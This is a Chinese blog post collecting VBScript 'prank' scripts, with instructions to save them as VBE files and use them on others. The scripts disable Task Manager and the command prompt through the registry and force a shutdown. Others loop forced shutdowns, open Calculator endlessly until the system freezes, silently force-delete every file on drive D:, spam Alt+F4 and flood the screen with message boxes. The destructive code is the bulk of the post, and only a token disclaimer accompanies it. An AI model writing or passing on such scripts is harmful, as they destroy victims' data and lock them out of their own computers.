当前位置:   article > 正文

vbs整人代码大全(强制自动关机,打开无数计算器)等.

vbs整人代码

一、

  1. set s=createobject("wscript.shell")
  2. set bag=getobject("winmgmts:\\.\root\cimv2")
  3. set pipe=bag.execquery("select * from win32_process where name='wscript.exe'")
  4. For Each id in pipe
  5. if instr(1,id.commandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then
  6. s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"
  7. s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"
  8. id.terminate()
  9. else
  10. s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
  11. s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"
  12. for i=1 to 60
  13. s.popup"系统将在"& 60-i &"秒后关机...",1,"系统提示",4096+48
  14. next
  15. Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem")
  16. For Each eOs In colOS
  17. eOs.Win32Shutdown(2)
  18. Next
  19. end if
  20. Next

复制以上代码,在桌面建一个文本,把代码放进去,另存为VBE格式,
此代码的威力:
1:开机就强制自动关机
2:cmd命令打不开
3:结束任务不管用
4:F8安全模式也不管用
呵呵!听起来是不是有点恐怖啊,我在我朋友空间里看见也吓了一跳、

代码破解方法:就是再运行一次,就可以破解了,也就是第2次保存的那个VBE文件,,
PS:不要乱拿软件去整人,发生什么事可不要怪我啊。。

二、

  1. on error resume next
  2. dim WSHshellA
  3. set WSHshellA = wscript.createobject("wscript.shell")
  4. WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说你是傻B,我是天下第一大傻B不说宝宝,我是天下第一大傻B就一分钟关你机,不信,试试···"" ",0 ,true
  5. dim a
  6. do while(a <> "宝宝,我是天下第一大傻B")
  7. a = inputbox ("宝宝,我是天下第一大傻B,就不关机,快撒,说 ""宝宝,我是天下第一大傻B"" ","说不说","不说",8000,7000)
  8. msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
  9. loop
  10. msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛,乖乖"
  11. dim WSHshell
  12. set WSHshell = wscript.createobject("wscript.shell")
  13. WSHshell.run "cmd.exe /c shutdown -a",0 ,true
  14. msgbox chr(13) + chr(13) + chr(13) + "宝宝是不是又帅啦??"

三、打开无数个计算器,直到死机

  1. set wsh=createobject("wscript.shell")
  2. do
  3. wsh.run "calc"
  4. loop

四、直接关机

  1. dim WSHshell
  2. set WSHshell = wscript.createobject("wscript.shell")
  3. WSHshell.run "shutdown -f -s -t 00",0 ,true

五、删除D:\所有文件

  1. dim WSHshell
  2. set WSHshell = wscript.createobject("wscript.shell")
  3. WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

六、不断弹出窗口

  1. while(1)
  2. msgbox "哈哈 你被耍了!"
  3. loop

七、不断按下alt+f4 (开什么都关闭……)

  1. dim WSHshell
  2. set WSHshell = wscript.createobject("wscript.shell")
  3. while(1)
  4. WSHshell.SendKeys "%{F4}"
  5. loop

八、按500次回车

  1. (以上代码在运行者的电脑上显示500个对话框。其中 do until s=500500可以随意更改)
  2. dim s
  3. do until s=500
  4. s=s+1
  5. msgbox "哥们,给我按500次回车吧",64
  6. loop

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/花生_TL007/article/detail/268187
推荐阅读
相关标签
  

闽ICP备14008679号